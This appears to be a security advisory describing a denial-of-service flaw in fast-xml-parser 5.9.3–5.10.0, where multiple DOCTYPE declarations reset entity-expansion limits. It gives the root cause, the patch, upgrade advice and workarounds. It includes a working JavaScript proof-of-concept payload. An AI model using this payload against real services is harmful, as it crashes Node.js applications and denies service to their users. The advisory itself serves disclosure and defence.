fast-xml-parser: Repeated DOCTYPE Declarations Reset Entity Expansion Limits
Attackers can smuggle multiple DOCTYPE declarations into a single XML document to repeatedly reset fast-xml-parser's entity-expansion counters, bypassing all configured DoS limits and crashing Node.js
The problem
fast-xml-parser versions 5.9.3 through 5.10.0 accept multiple DOCTYPE declarations in a single XML document. Each DOCTYPE block passes its entities to @nodable/entities via addInputEntities(), and that call resets the maxTotalExpansions and maxExpandedLength counters every time it runs.
An attacker therefore cycles through as many DOCTYPE blocks as needed to keep resetting the running totals to zero. The configured limits never accumulate, so a crafted document can trigger unbounded entity expansion, blocking Node.js's single-threaded event loop, exhausting memory, and crashing the process.
Proof of concept
A working proof-of-concept for this issue in fast-xml-parser, with the exact payload below.
const { XMLParser } = require('fast-xml-parser');
// Each DOCTYPE block resets the expansion counters.
// Even with strict limits configured, the second DOCTYPE
// resets maxTotalExpansions and maxExpandedLength back to 0.
const entity = 'A'.repeat(50000); // 50 KB of raw text
const refs = '&big;'.repeat(1000);
const xml = [
`<!DOCTYPE foo [<!ENTITY big "${entity}">]>`,
// Second DOCTYPE declaration resets the counters:
`<!DOCTYPE bar [<!ENTITY big "${entity}">]>`,
`<root>${refs}</root>`
].join('');
const parser = new XMLParser({ processEntities: true });
console.time('parse');
parser.parse(xml); // hangs / OOM despite expansion limits
console.timeEnd('parse');The root cause (CWE-776) is that addInputEntities() in @nodable/entities unconditionally resets the entity-expansion counters each time it is called. Because fast-xml-parser passed entities from every DOCTYPE block it encountered, an attacker could call that reset path repeatedly within one parse invocation, rendering any configured limit ineffective.
The patch (commit 4e546e0) makes the parser reject a document as soon as it encounters a second DOCTYPE declaration, so addInputEntities() is called at most once per parse and the counters can never be externally reset. The fix aligns with standard XML spec guidance that a well-formed document contains at most one DOCTYPE.
The fix
Upgrade fast-xml-parser to 5.10.1 or later. As a temporary workaround, set processEntities: false to skip DOCTYPE and entity processing entirely, or pre-filter input to reject documents containing more than one DOCTYPE declaration.
Related research
- highsharp: Inherited libvips Vulnerabilities in GIF, TIFF, and VIPS Loaders (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591)
- high · 7.5CVE-2026-59892CVE-2026-59892: @opentelemetry/propagator-jaeger Denial of Service via Malformed Header
- high · 8.2svgo removeScripts Plugin XSS Bypass via Namespace Prefix and Case-Insensitive URI
- highCVE-2026-59880CVE-2026-59880: immutable Hash-Collision Algorithmic Complexity DoS